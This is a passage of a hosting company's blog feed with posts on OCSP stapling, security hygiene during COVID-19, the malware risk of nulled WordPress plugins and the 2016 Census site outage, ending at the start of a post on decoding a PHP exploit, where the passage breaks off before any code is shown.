<figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="615" height="365" src="https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPActivate.png" alt="" class="wp-image-23419" srcset="https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPActivate.png 615w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPActivate-300x178.png 300w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPActivate-50x30.png 50w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPActivate-32x19.png 32w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPActivate-64x38.png 64w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPActivate-128x76.png 128w" sizes="auto, (max-width: 615px) 100vw, 615px" /></figure></div>


<h2 class="wp-block-heading"><strong>How can I check if my website is using OCSP stapling?</strong></h2>



<p>The simplest way to check is to use online tools like SSL Labs SSL test.&nbsp;<br>Simply go to <a href="https://ssllabs.com/ssltest">https://ssllabs.com/ssltest</a> and type in your domain name.&nbsp;<br><br>It should show the following on the first page of your report if you are using OCSP Stapling.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" width="500" height="283" src="https://testing.conetix.com.au/wp-content/uploads/2020/04/ssllabs-image-1-500x283-1.jpg" alt="SSL Labs SSL test result A+" class="wp-image-10797" style="width:500px;height:283px" srcset="https://testing.conetix.com.au/wp-content/uploads/2020/04/ssllabs-image-1-500x283-1.jpg 500w, https://testing.conetix.com.au/wp-content/uploads/2020/04/ssllabs-image-1-500x283-1-300x170.jpg 300w, https://testing.conetix.com.au/wp-content/uploads/2020/04/ssllabs-image-1-500x283-1-50x28.jpg 50w, https://testing.conetix.com.au/wp-content/uploads/2020/04/ssllabs-image-1-500x283-1-32x18.jpg 32w, https://testing.conetix.com.au/wp-content/uploads/2020/04/ssllabs-image-1-500x283-1-64x36.jpg 64w, https://testing.conetix.com.au/wp-content/uploads/2020/04/ssllabs-image-1-500x283-1-128x72.jpg 128w" sizes="auto, (max-width: 500px) 100vw, 500px" /></figure></div>

<div class="wp-block-image">
<figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="529" height="66" src="https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPStaplingStatus.png" alt="SSL Labs SSL test showing OCSP result" class="wp-image-10798" srcset="https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPStaplingStatus.png 529w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPStaplingStatus-300x37.png 300w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPStaplingStatus-50x6.png 50w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPStaplingStatus-32x4.png 32w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPStaplingStatus-64x8.png 64w, https://testing.conetix.com.au/wp-content/uploads/2020/04/OSCPStaplingStatus-128x16.png 128w" sizes="auto, (max-width: 529px) 100vw, 529px" /></figure></div>


<p>If you are hosting your website with Conetix or have your own Plesk Virtual Private Server with Conetix, you can add OCSP stapling to your website or sites now.&nbsp;</p>



<p>If you don’t have this option with your current provider we would love to talk to you and see where we can assist.</p>



<h2 class="wp-block-heading"><strong>More Technical Resources.</strong></h2>



<p>If you want to know more about OCSP stapling and how it all works the following are some great articles that you may find useful.</p>



<p>Cloudflare &#8211; <a href="https://blog.cloudflare.com/high-reliability-ocsp-stapling/">High-reliability OCSP stapling and why it matters</a></p>



<p>CA Security Council &#8211; <a href="https://casecurity.org/2013/03/08/the-importance-of-checking-for-certificate-revocation/">The Importance of checking for Certificate Revocation<br></a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>IT Security during the COVID-19 pandemic</title>
		<link>https://testing.conetix.com.au/blog/it-security-during-the-covid-19-pandemic/</link>
		
		<dc:creator><![CDATA[Tim Butler]]></dc:creator>
		<pubDate>Tue, 14 Apr 2020 00:25:00 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[covid-19]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[mfa]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://conetix.com.au/?p=10765</guid>

					<description><![CDATA[With the Coronavirus (COVID-19) sweeping the world and causing massive disruptions, most of our focus has been on things like ensuring we wash our hands properly and ensuring we maintain social distancing. And, this is a good thing if all countries want to flatten the curve. However, there’s a hidden nastiness which may catch you...  <a class="excerpt-read-more" href="https://testing.conetix.com.au/blog/it-security-during-the-covid-19-pandemic/" title="Read IT Security during the COVID-19 pandemic">Read more &#187;</a>]]></description>
										<content:encoded><![CDATA[


<p>With the Coronavirus (COVID-19) sweeping the world and causing massive disruptions, most of our focus has been on things like ensuring we wash our hands properly and ensuring we maintain social distancing. And, this is a good thing if all countries want to flatten the curve.</p>



<p>However, there’s a hidden nastiness which may catch you by surprise and that you should be aware of. To put simply:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>Hackers haven’t gone into hibernation.</p></blockquote>



<p>While many other businesses are in complete lockdown and others have transitioned to work from home, hackers and those out there wanting to cause damage, spread malware or other malicious activities are not only active but increasing in activity.</p>



<p>This means <strong>you need to be as vigilant as ever</strong> when it comes to IT security.</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="983" height="310" src="https://testing.conetix.com.au/wp-content/uploads/2020/04/firewall-covid-19-attack-patterns.png" alt="" class="wp-image-10788" srcset="https://testing.conetix.com.au/wp-content/uploads/2020/04/firewall-covid-19-attack-patterns.png 983w, https://testing.conetix.com.au/wp-content/uploads/2020/04/firewall-covid-19-attack-patterns-300x95.png 300w, https://testing.conetix.com.au/wp-content/uploads/2020/04/firewall-covid-19-attack-patterns-768x242.png 768w, https://testing.conetix.com.au/wp-content/uploads/2020/04/firewall-covid-19-attack-patterns-50x16.png 50w, https://testing.conetix.com.au/wp-content/uploads/2020/04/firewall-covid-19-attack-patterns-32x10.png 32w, https://testing.conetix.com.au/wp-content/uploads/2020/04/firewall-covid-19-attack-patterns-64x20.png 64w, https://testing.conetix.com.au/wp-content/uploads/2020/04/firewall-covid-19-attack-patterns-128x40.png 128w" sizes="auto, (max-width: 983px) 100vw, 983px" /></figure></div>



<p>Our internal firewall data has shown a change in attack behaviour in the last few months. While it’s not conclusive enough to explicitly state that this pandemic is the reason, we’re expecting the threat to constantly change over the next 12 months to target specific COVID-19 weaknesses.</p>



<h2 class="wp-block-heading">What does this actually mean?</h2>



<p>There are a number of factors you need to consider.&nbsp;</p>



<h3 class="wp-block-heading">Phishing</h3>



<p><strong>This will be the biggest security threat</strong>. For those unfamiliar with what phishing is, it’s the crafting of fake emails to make them seem legitimate. For example, a common phishing email is a fake email from your bank or payment system (eg Paypal) asking you to login and unsuspend your account. This is of course <em>fake</em> and you’ll be handing your details over to a malicious third party to spend your money.</p>



<p>The simple rule is, <strong>treat all emails as suspicious</strong>. Hackers know there’s a significant increase in work-from-home users and government payouts, so they will be targeting this fact. The emails may <em>appear</em> to be from your company asking you to install additional software or other similar tasks which are significantly more common during this pandemic.&nbsp;</p>



<p>Secondly, they may also appear to be government or other similar websites requiring you to register or ask you to provide some form of credentials in order to receive government stimulus money or similar.&nbsp;</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="624" height="329" src="https://testing.conetix.com.au/wp-content/uploads/2020/04/phishing-example-covid-19-2.png" alt="" class="wp-image-10803" srcset="https://testing.conetix.com.au/wp-content/uploads/2020/04/phishing-example-covid-19-2.png 624w, https://testing.conetix.com.au/wp-content/uploads/2020/04/phishing-example-covid-19-2-300x158.png 300w, https://testing.conetix.com.au/wp-content/uploads/2020/04/phishing-example-covid-19-2-50x26.png 50w, https://testing.conetix.com.au/wp-content/uploads/2020/04/phishing-example-covid-19-2-32x17.png 32w, https://testing.conetix.com.au/wp-content/uploads/2020/04/phishing-example-covid-19-2-64x34.png 64w, https://testing.conetix.com.au/wp-content/uploads/2020/04/phishing-example-covid-19-2-128x67.png 128w" sizes="auto, (max-width: 624px) 100vw, 624px" /><figcaption>One of many phishing emails </figcaption></figure></div>



<p>The other one we see frequently are fake emails in regards to your email, Internet service and/or phone data being over quota. We expect to see an increase in these phishing emails also during COVID-19 as legitimate notifications (which won’t <em>ever</em> ask you to login) will be increasing as well.</p>



<h3 class="wp-block-heading">PC Updates</h3>



<p>If you’ve taken your PC home and it was connecting to internal systems to run updates, this system may not work remotely.&nbsp; While your internal IT should be verifying this thorough central management software, the scale of having thousands of people suddenly work from home may mean their resources are stretched.&nbsp;</p>



<p>If you’re a small business and don’t have internal IT onsite all the time, again it’s worth verifying that your operating system updates are being applied if you’ve had to move IT infrastructure.</p>



<h3 class="wp-block-heading">Website Updates</h3>



<p>Your website isn’t any different to your PC and in the majority of cases (eg, WordPress, Joomla and similar) there’s always a constant stream of updates to the core code, plugins and themes. Many of these updates include security fixes which if left unpatched could lead your site to be compromised.</p>



<p>None of this has changed with COVID-19, however as businesses are changing to adapt then it’s easy for these updates to be forgotten. Similarly, if you’ve decided to shut your business for a short period of time then these updates are still required to be run. Leaving them for a few months could mean you have a nasty surprise if your website is compromised.</p>



<h3 class="wp-block-heading">Email Security</h3>



<p>This is commonly overlooked when internal IT systems are moved to bigger networks. If you’re working from any form of communal or public WiFi, make sure your <strong>email traffic is encrypted </strong>when talking to your email server.&nbsp;</p>



<p>If in doubt, please talk to your email or hosting provider to review your settings. Many legacy systems still allow unencrypted methods of communication and this means via a public or shared network your username and password is available to anyone else on that network.</p>



<h3 class="wp-block-heading">Backups</h3>



<p>Working from home means you need to consider a few extra scenarios. In many typical office setups, there’s usually a central file server and therefore a singular place of backup. Or, if you’re backing up laptops and PC’s to a central server, this may not be available once you’ve moved the PC to home.</p>



<p>You should conduct an audit of document storage locations and then determine <em>how</em> these are being backed up. Are they stored using a replicated service? For example, you may have (ie OneDrive / Dropbox / Google Drive)? Are you using a document management system to check in and out documents (eg SharePoint) and if so, how often are you checking the documents in?</p>



<p>The best way to approach how and when you should backup items is by working out what you can lose. If your PC loses all data overnight, what’s the business impact to you? What if this occurred for multiple employees? By working out your business cost and associated risks, you can then formulate a plan.</p>



<h2 class="wp-block-heading">Increasing your security</h2>



<p>While most of the news is doom and gloom, this could be a good opportunity to improve your overall IT security too. If you’ve already ticked these things off your list then that’s great!&nbsp;</p>



<p>In the majority instances, your accounts won’t be hacked because you’ve been <strong>targeted personally</strong>. Instead, most phishing campaigns cast their net far and wide with the theory being the more people they can try then the higher the chances of someone filling the fake form out.</p>



<h3 class="wp-block-heading">Password Management</h3>



<p>One of the best, limiting factors you can do is to use <strong>strong and unique </strong>passwords. This means that you should have a unique password for <strong>every</strong> login and make it at least 10 characters long. We’ve covered <a href="https://testing.conetix.com.au/blog/secure-passwords-why-theyre-important/">the importance of strong passwords</a> previously and highly recommend reading (or indeed re-reading!) the article if you haven’t done so recently.</p>



<h3 class="wp-block-heading">Multi-factor Authentication</h3>



<p>A very effective means of security is to enable Multi-factor Authentication (MFA) for your servers. This means that to login or access a system, you have to provide more than one method of authentication. For example, Office 365 you can use the <a href="https://docs.microsoft.com/en-us/azure/active-directory/user-help/user-help-auth-app-download-install">Azure Authenticator App</a> which means when you login to Office 365, you also need to provide a secondary code from your mobile phone.</p>



<p>The key advantage here is that even if someone managed to get your username and password (ie where you’ve accidentally filled out a fake phishing form), they would still require the code from your mobile device and therefore can’t access your services.&nbsp;</p>



<p>Aside from using long, unique passwords, this is the most effective security measure you can put in place to protect yourself.&nbsp;</p>



<p>MFA can either be a mobile app or you can use a physical USB key such as the <a href="https://www.yubico.com/products/yubikey-5-overview/">Yubikey</a>.</p>



<div class="wp-block-image"><figure class="aligncenter size-large is-resized"><img loading="lazy" decoding="async" src="https://testing.conetix.com.au/wp-content/uploads/2020/04/yubikey-5-nfc_3.png" alt="" class="wp-image-10773" width="450" height="450" srcset="https://testing.conetix.com.au/wp-content/uploads/2020/04/yubikey-5-nfc_3.png 600w, https://testing.conetix.com.au/wp-content/uploads/2020/04/yubikey-5-nfc_3-300x300.png 300w, https://testing.conetix.com.au/wp-content/uploads/2020/04/yubikey-5-nfc_3-150x150.png 150w, https://testing.conetix.com.au/wp-content/uploads/2020/04/yubikey-5-nfc_3-50x50.png 50w, https://testing.conetix.com.au/wp-content/uploads/2020/04/yubikey-5-nfc_3-32x32.png 32w, https://testing.conetix.com.au/wp-content/uploads/2020/04/yubikey-5-nfc_3-64x64.png 64w, https://testing.conetix.com.au/wp-content/uploads/2020/04/yubikey-5-nfc_3-128x128.png 128w, https://testing.conetix.com.au/wp-content/uploads/2020/04/yubikey-5-nfc_3-250x250.png 250w" sizes="auto, (max-width: 450px) 100vw, 450px" /></figure></div>



<p>This works in a very similar way to a mobile authenticator app but the difference is you can take it completely offline (unlike most mobiles) and for services neatly integrated it’s literally as simple as tapping the button.</p>



<h3 class="wp-block-heading">Anti-Spam Email Filtering</h3>



<p>If your email doesn&#8217;t already pass through some from of <a href="https://testing.conetix.com.au/anti-spam-virus/">Professional Anti-Spam</a> system, then we&#8217;d highly recommend you investigate the use of one of these systems. The larger systems use a number of complex algorithms as well as global data from millions of emails to be able to detect and block spam and phishing emails to an accuracy of 99.9% or greater.</p>



<p>This means that even if a phishing email is sent to you or your staff, it&#8217;s most likely going to be blocked by an automated system.</p>



<h3 class="wp-block-heading">Staying up-to-date&nbsp;</h3>



<p>If you’re reading this blog, then it’s a great step forward. As the saying goes, <strong>forewarned is forearmed</strong>. If you know about the latest scams and security threats before they occur then it means you’re able to recognise them if you see them. Here’s further reading and the latest information from the <a href="https://www.cyber.gov.au/">Australian Cyber Security Centre</a> to help keep you up-to-date:</p>



<ul class="wp-block-list"><li><a href="https://www.staysmartonline.gov.au/alert-service/cyber-security-essential-when-preparing-covid-19">Cyber security is essential when preparing for COVID-19</a></li><li><a href="https://www.staysmartonline.gov.au/alert-service/widespread-reports-covid-19-malicious-scams-being-sent-australians">Widespread reports of COVID-19 malicious scams being sent to Australians</a></li></ul>



<p>Remember, these threats are <strong>real</strong> so stay vigilant!</p>



<p class="has-small-font-size"><em>Main Photo by&nbsp;<a href="https://unsplash.com/@chrispanas?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">chris panas</a>&nbsp;on&nbsp;<a href="https://unsplash.com/s/photos/security?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a>.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>What is a nulled plugin?</title>
		<link>https://testing.conetix.com.au/blog/what-is-a-nulled-plugin/</link>
		
		<dc:creator><![CDATA[Tim Butler]]></dc:creator>
		<pubDate>Thu, 02 Apr 2020 00:24:00 +0000</pubDate>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[compromise]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[nulled]]></category>
		<category><![CDATA[paid]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[pro]]></category>
		<category><![CDATA[wp-vcd]]></category>
		<category><![CDATA[wpvcd]]></category>
		<guid isPermaLink="false">https://conetix.com.au/?p=10403</guid>

					<description><![CDATA[Everyone loves things for free, which is one of the contributing factors which has led to the popularity of WordPress as a Content Management System (CMS). Now commanding over 60% of the CMS market, third party plugins and themes are therefore a booming market as well. While within WordPress you can automatically search and find...  <a class="excerpt-read-more" href="https://testing.conetix.com.au/blog/what-is-a-nulled-plugin/" title="Read What is a nulled plugin?">Read more &#187;</a>]]></description>
										<content:encoded><![CDATA[
<p>Everyone loves things for free, which is one of the contributing factors which has led to the popularity of WordPress as a Content Management System (CMS). Now commanding over 60% of the CMS market, third party plugins and themes are therefore a booming market as well.</p>



<p>While within WordPress you can automatically search and find many thousands of free plugins and themes, developers often have a “pro” or premium version where they provide additional functionality and features for their paid version. The free versions are often a great way to try the basics of a product and in many instances they offer enough functionality that you may not even require a more comprehensive version.</p>



<p>However, when you do there’s a temptation for some to go and find a “nulled” version of the plugin for free so that you don’t have to pay for it.</p>



<h2 class="wp-block-heading"><strong>What is a “nulled” plugin?</strong></h2>



<p>The original term “nulled” used to refer to paid applications where any copyright protection (such as remote license checks) are disabled or bypassed. While it used to be mostly focussed around desktop software, it also applies to the web as well.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><strong>This software is illegal.</strong></p>
</blockquote>



<p>However, rather than just being altruistic notions to release software for free so that everyone can use it, nearly all nulled WordPress plugins and themes contain <strong>malware.</strong> This malware will vary in payload, but in nearly all instances will infect your site beyond just the plugin and add hooks into the core and/or other components so that third party entities can upload other malicious code to use your website for illegal means.</p>



<p>This illegal usage could vary from sending spam, conducting phishing campaigns and even be as severe as to delete your data and hold it to ransom through cryptoware.&nbsp;</p>



<h2 class="wp-block-heading"><strong>Why do I have to pay for some plugins and themes?&nbsp;</strong></h2>



<p>The simple answer is, <strong>software is written by humans and humans need to eat</strong>. Yes, while many developers may seem advanced and futuristic boffins at times, they still succumb to the rat race of work-eat-sleep.&nbsp;</p>



<p>In fact, if you get value from the plugin or theme then paying for it is a good way to ensure that the developer can afford to continue to work on it. Given that some CMS platforms in the enterprise world charge upwards of $60,000 per year, paying $99 (for example) is still outstanding value and still one of the cheapest parts of running a business or website.</p>



<h2 class="wp-block-heading"><strong>Should I use a nulled plugin or theme?</strong></h2>



<p class="has-large-font-size"><strong><span class="has-inline-color has-vivid-red-color">NO. </span></strong></p>



<p>The only reason I have this here so bluntly is so that there is no ambiguity whatsoever.&nbsp;</p>



<p>While the previous section should clearly articulate why, many don’t heed the warning signs and continue down the path of nulled plugins or nulled themes.</p>



<p>If you require the services of a paid plugin and can’t afford to purchase it, you have three options:</p>



<ol class="wp-block-list">
<li>Find an alternative.</li>



<li>Go without it.</li>



<li>Find a way to pay for it.</li>
</ol>



<p>The great thing about WordPress is the amount of choice you have, so if you find that a plugin is too expensive then there may be alternative out there already. </p>



<h2 class="wp-block-heading"><strong>What sites offer nulled plugins?</strong></h2>



<p>If you’re not downloading it directly from the plugin author’s site after paying for it, chances are it’s a nulled plugin. There is only one site to trust for downloads, and that’s <a href="https://wordpress.org">wordpress.org</a>.&nbsp;</p>



<p>Any other site should be displaying a high degree of caution and you will need to verify the site. There are a few ways to check this:</p>



<ol class="wp-block-list">
<li>Is the site linked from a free version within wordpress.org or within the plugin / theme itself?</li>



<li>Does the URL of the site match the website contained within the official social media sites?</li>



<li>Are there any deals on the site which seem “too good to be true” ?</li>



<li>Have you arrived at the site from a trusted link?</li>
</ol>



<p>If there’s any ambiguity in the above four steps, <strong>STOP</strong>. Verify the site with your web developer or trusted technical advisor before downloading and before paying any money.</p>



<h2 class="wp-block-heading"><strong>What should I do if I discover I have a nulled plugin?</strong></h2>



<p>We recommend you <strong>immediately </strong>contact your web developer <strong>and </strong>check what backups you have for your site. Once a nulled plugin or theme has been installed, it may have completely compromised your website and this may require a restoration from backup.</p>



<p>We’d also recommend <a href="https://testing.conetix.com.au/support/installing-and-configuring-wordfence/">installing WordFence</a> and running a full scan of your website. This can identify and correct security issues in many instances. While we’ve found that WordFence is the best security tool out there, you shouldn’t ever be 100% reliant on a singular tool to correct any security issues.</p>



<p>You should also contact your hosting provider, as they may have additional tools to scan your website and may be able additional information about the level of compromise to your website.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="666" height="369" src="https://testing.conetix.com.au/wp-content/uploads/2017/01/10/website-malware.png" alt="Website with malware" class="wp-image-1528" srcset="https://testing.conetix.com.au/wp-content/uploads/2017/01/10/website-malware.png 666w, https://testing.conetix.com.au/wp-content/uploads/2017/01/10/website-malware-300x166.png 300w" sizes="auto, (max-width: 666px) 100vw, 666px" /></figure>



<p>Lastly, you should check your <a href="https://search.google.com/search-console/about">Google Search Console</a> for any warnings or notifications. If Google has detected that your site has a security compromise amd/or is being used for phishing then it will either display a warning message or completely block access <strong>and </strong>have a potential SEO impact.</p>



<h2 class="wp-block-heading"><strong>Conclusion</strong></h2>



<p>As the saying goes, prevention is better than the cure. The only way to 100% ensure any infection or compromise is removed is to restore the site from a backup prior to the nulled plugin or theme being installed.</p>



<p>We highly recommend that you show your support for your favourite plugins and themes by playing for them. By ensuring that the developers have a sustainable income from the plugins and themes they provide, you’re also ensuring that development continues and it’s highly likely that new features will continue to be released.</p>



<p class="has-small-font-size"><em>Cover photo by&nbsp;<a href="https://unsplash.com/@markusspiske?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Markus Spiske</a>&nbsp;on&nbsp;<a href="https://unsplash.com/s/photos/hacker?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></em>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>#CensusFail &#8211; A Preliminary Analysis</title>
		<link>https://testing.conetix.com.au/blog/censusfail-preliminary-analysis/</link>
		
		<dc:creator><![CDATA[Tim Butler]]></dc:creator>
		<pubDate>Wed, 10 Aug 2016 00:20:00 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[census]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[denial]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[hacking]]></category>
		<guid isPermaLink="false">https://conetix.com.au/censusfail-preliminary-analysis/</guid>

					<description><![CDATA[Last night, two years worth of work and planning for the first online Census night came to a screaming heap. Households around Australia were greeted with a lovely message like: And, as of 11am (AEST) this morning, it’s still down. So, how could it all have gone so horribly wrong? Why has two years worth...  <a class="excerpt-read-more" href="https://testing.conetix.com.au/blog/censusfail-preliminary-analysis/" title="Read #CensusFail &#8211; A Preliminary Analysis">Read more &#187;</a>]]></description>
										<content:encoded><![CDATA[<p>Last night, two years worth of work and planning for the first online Census night came to a screaming heap. Households around Australia were greeted with a lovely message like:</p>
<p><img decoding="async" alt="Census 2016 Failure" src="/wp-content/uploads/2016/08/10/census-fail-700.png" style="height: 536px; width: 700px;" /></p>
<p>And, as of 11am (AEST) this morning, it’s still down. So, how could it all have gone so horribly wrong? Why has two years worth of planning and 10 million dollars failed so catastrophically? </p>
<p>This article is a bit of an educated guess and analysis from other industry experts who were commentating on the <a href="https://twitter.com/hashtag/CensusFail">#CensusFail</a> Twitter stream. While it may not be conclusive, the fact that the site has been unable to collect the Census data for many hours clearly shows they missed something. </p>
<h2>1. Outsourcing risks</h2>
<p>The project for the collecting the Census data and scalability had been outsourced to IBM. Somehow the government still hasn’t learnt its lesson on entrusting companies who have had catastrophic failures. Firstly, we have the Queensland Health debacle. This is a project which went so badly that a Commission of Inquiry had to be established and IBM were subsequently banned from all future Queensland government tenders. It was late, massively over budget and then of course when it went live it caused tens of thousands of Queensland Health employees to be paid incorrectly for up to three years.</p>
<p>Secondly, IBM were the ones who couldn’t scale Myer’s website for the <a href="https://www.smh.com.au/business/retail/myer-website-crashes-during-boxing-day-sale-20131225-2zx6j.html">Boxing Day</a> sales. Not only did it fail on the day, but after a week of revamping the site and infrastructure their solution was to place potential buyers in a queue and make them wait before browsing the site.  This was a terrible outcome and as a professional looking in, it’s quite embarrassing that a large company could get it so very wrong.</p>
<h2>2. Underestimating the peak numbers</h2>
<p>The Australian Bureau of Statistics had previously <a href="https://www.theage.com.au/victoria/census-meltdown-rubbish-says-abs-heres-what-you-need-to-know-about-census-2016-20160808-gqo1jv.html">boasted</a> that they could handle 1 million submissions an hour, double what they expected. However, even a <a href="https://www.theage.com.au/comment/the-age-letters/t-20160802-gqjqj7.html">rudimentary analysis</a> by a normal citizen can easily predict that this isn’t going to be good enough.</p>
<p>An estimated 6 million households were going to complete the Census online. The majority of these households will have working adults, which means that it will be completed once the usual routines of cooking dinner and herding children are complete. Most people would have attempted it between 7pm and 9pm, which means the peak numbers are going to be over 2 million people per hour, with possible surges much higher.</p>
<p>For a government department who specialises in statistics, this seems to be very flawed thinking if they thought the peak was only going to be half a million. They could have staggered it over a number of nights quite easily if they thought the peak surges would be too difficult to handle and achieved a much better outcome.</p>
<h2>3. Poor infrastructure design</h2>
<p>Initial analysis suggests that some of the infrastructure design for the Census data was quite positively woeful. There were only <a href="https://twitter.com/oliyoung/status/761028000821288961">11 servers</a> to handle all of the Census processing. What’s more, the fact that the certificate has hard coded entries means that there’s no ability to spin up additional servers to process more traffic.</p>
<p>There were a number of route changes as the issues started to occur, suggesting that capacity issues were hit. These may have been from denial of service attacks or simply the inrush of everyone hitting the site at once, either way the outcome is the same. The system is hosted directly with IBM, not on their SoftLayer platform (owned by IBM) which has <a href="https://www.softlayer.com/autoscale">auto-scale</a> ability built in. In this day and age, properly designing a system to scale is a well trodden path by many companies.</p>
<h2>4. Privacy concerns</h2>
<p>This is the one which really stands out. The government increased the time in which they hold your name and address details associated with your Census from 18 months to 4 years without any explanation as to why. Rightly so, many were very concerned about the impacts of this.</p>
<p>Many Australian citizens and even <a href="https://www.sbs.com.au/news/article/2016/08/09/census-2016-reluctant-senators-defy-rules-and-leave-names-survey">government Senators</a> were quite outraged at the notion, which would have directly increased the motivation of attacks. Nobody likes the government spying on you or keeping personal information without any sort of justification. This would have directly motivated hackers to take action, something of which we’ve no doubt seen the results of.</p>
<h2>5. Underestimating hackers</h2>
<p>Just to clear it up, what we’re seeing so far suggests an <strong>attack</strong>, not a <strong>hack</strong>. There’s a clear distinction here, no data has been lost (yet). The worst thing you can do is make yourself a big target without proper protection in place. The moment you trivialise or think you’ve thwarted the power that hackers have, they’ll simply prove you wrong.</p>
<p>Hackers have access to enormous amounts of server resources and also immense talent. Regardless of if you think their work is unethical or illegal, you simply cannot take a moral high ground and expect to win. The privacy issues no doubt gave them additional assistance to bring the site down.</p>
<p>Even without compromising the data, they’ve shown that they can counteract the government’s protection and planning. This isn’t a good sign at all, if they can’t stop a denial of service attack, can you trust them to protect the data itself?</p>
<h2>Going forward</h2>
<p>It&#8217;s hard to make suggestions without knowing the exact cause of the failure, but one thing that can certainly be done is to rebuild the trust of the Australian citizens. The level of distrust only causes further concern and again fuels hackers to take action. As the recent election shows, Australian citizens are already at high levels of distrust with the government, even without the Census debacle. </p>
<p>Let&#8217;s hope that the&#8217;s actual lessons learnt from this, rather than repeating it all over again in five years time.</p>
<p><strong>Update: </strong>For another great perspective on the matter, check out the <a href="https://risky.biz/censusfailupdate" target="_blank" rel="noopener noreferrer">Risky Business</a> blog. The lack of planning and expertise is worse than I thought, especially for the money and size of the companies involved.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Decoding a PHP SuperGlobals exploit program</title>
		<link>https://testing.conetix.com.au/blog/php-superglobals-exploit/</link>
		
		<dc:creator><![CDATA[Sid Young]]></dc:creator>
		<pubDate>Wed, 01 Jul 2015 23:00:00 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress]]></category>
		<guid isPermaLink="false">https://conetix.com.au/php-superglobals-exploit/</guid>

					<description><![CDATA[Back in April I released an article called &#34;Byte encoding exploits in PHP files&#34;, at the time we had not seen a PHP&#160;exploit coded in that way so scanning tools&#160;like &#34;Maldet&#34; didn&#39;t pick it up even though to a human the code looked like an exploit due to the coding style.&#160;When we&#160;detected the exploit I...  <a class="excerpt-read-more" href="https://testing.conetix.com.au/blog/php-superglobals-exploit/" title="Read Decoding a PHP SuperGlobals exploit program">Read more &#187;</a>]]></description>
										<content:encoded><![CDATA[<p>Back in April I released an article called &quot;<a href="https://www.conetix.com.au/blog/byte-encoding-exploits-php-files">Byte encoding exploits in PHP files</a>&quot;, at the time we had not seen a PHP&nbsp;exploit coded in that way so scanning tools&nbsp;like &quot;Maldet&quot; didn&#39;t pick it up even though to a human the code looked like an exploit due to the coding style.&nbsp;When we&nbsp;detected the exploit I wrote the article after doing some research and discovering virtually nothing on the subject, if you haven&#39;t read the article then its worth a read now because it created a lot of interest, especially in Eastern European countries (where I suspect the exploit&nbsp;originated from) according to the Google Analytics&nbsp;we reviewed&nbsp;in the weeks that followed release of the article.</p>
<p>Then within a month of the article being released the exploit attempts dropped off, manual detection of suspect files showed the exploit code being widely used previously, had&nbsp;changed.&nbsp;The modified versions of the files included less of the byte encoding and more generic PHP code. But things don&#39;t stand still and today another exploit was manually detected in log scans. Our normal&nbsp;scanning tools failed to pick the most recent exploit attempt&nbsp;but looking at the files with human eyes they are&nbsp;obviously suspect!&nbsp; The&nbsp;&quot;new&quot; coding style&nbsp;the hackers used in one file&nbsp;is based around&nbsp;the PHP &quot;super globals&quot; language feature. I had not heard the term myself till I started checking the syntax of the &quot;GLOBALS[] array on the php.net web site. Using &quot;global&quot; in a PHP app&nbsp;is quite common&nbsp;and even using &quot;$GLOBALS[]&quot; is not that unusual,&nbsp;but a file full of them is not a coding style any professional uses to release code.</p>
<p>Two files were downloaded by the hackers, one called <strong>diff50.php</strong> and the other (yet to be decoded as its totally different again) <strong>diff.php</strong>. The entry point was either a an out of date WordPress plugin like Gravity Forms or an out of date&nbsp;theme file. The reason we cannot be clear on the entry vector is the possibility the time stamps on the directories of the site may have been manipulated but the&nbsp;exploits were found in the various &quot;uploads&quot; directory of a WordPress site.</p>
<p>The file contents look like this (showing only the&nbsp;first few lines):</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
